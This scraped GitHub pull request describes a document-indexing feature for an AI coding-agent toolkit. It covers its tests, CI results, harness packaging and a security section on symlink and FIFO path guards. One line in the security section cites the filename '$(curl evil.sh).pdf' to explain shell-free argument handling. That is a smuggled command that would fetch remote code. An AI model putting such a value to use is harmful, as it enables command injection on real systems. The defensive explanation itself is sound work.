Also fixes a t48 regression this slice introduced: S1-14 put a subcommand
inside the emitter cell's backtick span, which t48's regex cannot parse,
so all three DOCUMENT_* events read as having no emitter. The plan named
"t48 green" as acceptance for the very story that broke it, and t48 is
integration-tier, which CI does not gate. Subcommand detail moved to the
Notes column in both docs.
… and fix the SKILL.md path examples Upstream added GitHub Copilot as a sixth harness while this slice was in flight. The rebase reported no conflicts and `package.ts --check` stayed green, yet the knowledge skill was absent from dist/copilot/ entirely: codex and copilot are the two harnesses that do NOT enumerate core/skills/, each carrying a hardcoded array in its emit.ts. Copilot's dot-gitignore was likewise missing the two DocumentKB entries the other five carry. Three tests hardcoded a five-name harness list, so none of them could fail for a harness they had never heard of. They now DERIVE the list from harness/, and throw rather than skip on an unmapped harness, so a seventh harness is a red test instead of silence. t285 also asserts which harnesses hardcode their skill array, derived from the emit.ts files themselves. A dry-run over real customer PDFs found both path examples in the skill were broken: the tool resolves a relative path from the PROJECT ROOT, so `knowledge/documents/x.pdf` fails with "No such path". Flag-name parity proves `--to` exists and says nothing about the value beside it, which is why 51 assertions were green. The examples are corrected, the resolution root and the rebind-before-sync ordering are documented, and a new test EXECUTES the documented path shapes rather than pattern-matching them. Also drops unresolved conflict markers that a scripted rebase loop staged into the generated tests/.coverage-registry.json.
Open PR awslabs#730 already declares 2.5.63 in core/tools/aidlc-version.ts, so the slot was taken before this branch could use it. Its TITLE says 2.5.60, which is why a scan of PR titles alone misses the clash -- the version file is the only reliable source. Renumbered in the three places t68 pins together (version file, CHANGELOG heading, README badge) and regenerated the six dist copies. No logic change.
alokgp
marked this pull request as ready for review
August 10, 2026 03:16
Author
|
@apackeer ready for a review |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
DocumentKB S1 — index the team's own documents so agents can cite them
Refs #714
Adds
/aidlc knowledge <verb>and a/aidlc-knowledgeskill. A team drops PDFs,Markdown, Word files or plain text under
aidlc/spaces/<space>/knowledge/documents/; the tool derives a catalog next doorin
knowledge/documentkb/that agents can cite. Slice 1 of a multi-slicedesign — hence
Refs, notCloses.knowledge/documents/knowledge/documentkb/sync; it rebuildsBecause the catalog is reconstructible, no unrecoverable state lives only there.
There is deliberately no
removeverb: deletion is "delete your own file,then
sync", so the tool never holds a destructive verb over user-owned files.Verbs:
onboard [path],sync,list,show <id>,associate/dissociate <id> --intent [slug],rebind <id> --to <path>.Documents are space-wide by default;
--intentscopes one to an intent. Scopingto a finished intent (
complete,completed,archived,closed,abandoned) is refused unless you pass--allow-inactive. That check is adenylist — an unrecognised status reads as healthy rather than silently
blocking work — and
dissociatenever needs the flag, since unscoping a finishedintent is cleanup.
Version 2.5.64, on
upstream/v2@18bcc468. Slots 2.5.60 (#729), 2.5.61(#661) and 2.5.63 (#730) are claimed by open PRs; happy to renumber if one merges
first.
Reproduce
Tests — 339 assertions, 11 new files
t275-read-write-boundaryt276-documentkb-schemat277-knowledge-onboard-boundaryt278-knowledge-transactiont279-document-extractors-seamt280-knowledge-extractiont281-knowledge-list-showlist/show+ the untrusted-data noticet282-knowledge-linked-sourcessource_unavailable≠ tombstonet283-knowledge-intentst284-knowledge-sync-rebindt285-knowledge-skillAll 11 are unit tier deliberately. CI gates
--smoke --unitonly(
.github/workflows/ci.yml:66), so an invariant that must hold belongs where CIruns it. "Unit" understates the mechanism: these spawn the shipped CLI as real
processes against real temp dirs —
t278spawns 17 times — covering journalcrash-recovery, 12-process lock contention (4 processes did not contend, so a
smaller number measures nothing), and a real three-process digest race. The 7
spawning files are each registered in the
EXPECTED_NONE_TO_CLIratchet.3 existing tests updated.
t123-skills-spec-conformance(both the smokeand unit copies) adds
aidlc-knowledgetoBASE_SKILLS.t55-test-suite-drifthad a bare
"aidlc-knowledge/"stale-path token that became ambiguous once theskill shipped at
skills/aidlc-knowledge/; a prefix allowlist was tried andmissed four real spellings (
.agents/,.aidlc/, workspace-relativeaidlc/, bare relative), so the fix is the one true discriminator —/(?<!skills\/)\baidlc-knowledge\//. All three pass (1,952 assertions).CI — all four jobs, verified locally
bash designs/pre-pr-check.shmirrors every GitHub job:--check+ typecheck ×3 +biome --error-on-warnings)The full suite was also run (
--smoke --unit --integration) against a cleanupstream/v2worktree, so every failure could be attributed:Zero DocumentKB tests failed. Of the 13: 6 fail identically on clean
upstream; 5 were contention artifacts from two suites on one machine (each
passes re-run serially); 2 are live-model API failures — one returned
"API Error: The system encountered an unexpected error", the other asserted the
model would ask a question and it didn't. Two tests failed on the baseline and
passed here, so that tier gives different answers for the same code — consistent
with CI gating
smoke + unit. Thee2etier was not run: live terminal journeysthat spend tokens.
Coverage registry. Registering
aidlc-knowledge.tsinTOOL_DESCRIPTORSmoved the subcommand denominator 99 → 107 — before that, all 8 verbs were
invisible and the tier passed anyway. They then read UNCOVERED, because
subcommandunits require a real spawn. New argv-dispatch tests were writtenrather than claiming the rest; ratchet 87 → 95, all 8 verbs now
covered.Docs: 17 files.
core/templates/onboarding.mdis the consequential one — afeature absent there is invisible to the agent at runtime. Also the CLI reference,
spaces/intents, knowledge guide + reference, state machine, runtime graph, skill
system, audit format, glossary, architecture, overview.
t239andt55pass.Security
A trust-chain anchor the design listed as reused was never ported. Measured
before the fix, not theorised:
onboardwrote 4 files outside the project andcollectStaleJournalsdeleted one. Root cause:realpathSyncon a containerresolves it, it does not validate it, so a symlinked
knowledge/redirectedevery read and write while three existing path guards sat decorative.
Five successive fixes each closed the named cases and missed the next sibling —
a sign a case list is the wrong tool. It ends with two source-derived structural
properties in
t277: the guarded set is COMPLETE (no export taking(projectDir, space)is unaccounted for) and every pure-path-builder claim isTRUE (no fs primitive hides in a body classified as pure). A sixth instance now
fails by construction. Guards: 13 in-function + 6 CLI handler.
Residual risk: the anchor catches a symlink present when the command starts,
not one planted mid-run. Closing that needs fd-relative syscalls.
Extracted text is untrusted data, not instructions.
showships that warninginline with the content, so the notice and the text can never be separated. Argv
is an array, never a shell string —
$(curl evil.sh).pdfis a filename here.The read/write boundary (
t275, 22 assertions against the shippeddist/,not
core/— a guard reverted only incore/would still pass). Three primitivescome from the unmerged #660 line and carry no inherited coverage, so all four
are pinned from scratch. Fixtures build real OS objects, because a mocked
statcannot fail the way a real FIFO fails:
open()blocks forever — holding the workspace lockreadRegularFileNoFollowOrThrowopens once withO_NOFOLLOWandfstatsthat descriptor, so the identity checked is the identity read —
lstat-then-readFileSyncwould validate one file and read another if the namewere swapped in between.
Validated against real documents
8 real customer documents (workshop reports, strategy briefs) through a scratch
install — nested dirs, spaces, en-dash and em-dash filenames:
pdftotext26.03.0;.docx→unsupported_typerm -rf documentkb/thensync→ all 8 rows back, byte-identical digestsnew/changed/removed; tombstone survived; edit re-extractedrebindrepairs itThe dry-run found a bug 51 green assertions could not. Both path examples in
the shipped
SKILL.mdfailed withNo such path— the tool resolves relativepaths from the project root. Flag-name parity proves
--toexists and saysnothing about the value beside it. Fixed, plus a test that executes the
documented paths instead of pattern-matching them.
A
.docxis a zip, so it detects asapplication/octet-streamand iscatalogued-and-citable rather than text-extracted — correct here, but it will look
like a failure.
Six harnesses
Registered in all six, including
copilot, which landed upstream mid-slice.Worth knowing:
codexandcopilotdo not enumeratecore/skills/— eachhardcodes an array in its
emit.ts. Our skill was absent fromdist/copilot/with
package --checkgreen, because--checkproves dist matches core, notthat core reached every harness. Three tests hardcoded a five-name harness list
and so could not fail for a harness they'd never heard of; all three now derive
it from
harness/and throw on an unmapped one.copilotis packaged and pinned but not exercised against a live Copilotinstall — I verified the files land where its manifest says, not that Copilot
loads them.
Honest limits
is later. S2 is blocked on [Feature]: auditable supplemental-knowledge selection and delivery across stage topologies #694.
via
extractor_unavailable.metadata.jsonrecordssummary: { state: "absent" }rather than pretending the field is unsupported.
CI is green: 219 files, 0 failures. Two tests fail locally on macOS
(
t248-codekb-scope-diff, and a 5000ms timeout int255-workspace-sync's"a later install failure rolls back an orphan already moved"), and both
reproduce on a clean
upstream/v2worktree with zero code from this branch — sothey are platform-local, not caused here, and the Linux runner passes both.
Untouched deliberately.
Two hardcoded harness lists elsewhere (
t220-tier-projection-module.test.ts:112,t250-question-fence-never-echo.test.ts:42) are also left alone —t220meansupstream's own
copilottier projection is never exercised. Both predate thisbranch and are orthogonal to DocumentKB; worth a separate issue.
Review
Every story was reviewed by an independent reviewer that re-ran the gates itself
and traced each item to
file:linein the real diff rather than a self-report,plus three whole-diff adversarial passes. Those found the trust-anchor class
above; a doc edit of mine that red-lined
t48-audit-event-emittersin theintegration tier CI does not gate; a false claim in my own docs (that
syncrebuilds from the audit ledger — it reads the filesystem only), traced back to a
wrong source comment that was fixed too; and unresolved
<<<<<<<conflict markersa scripted rebase loop had committed into the generated coverage registry with
every gate green.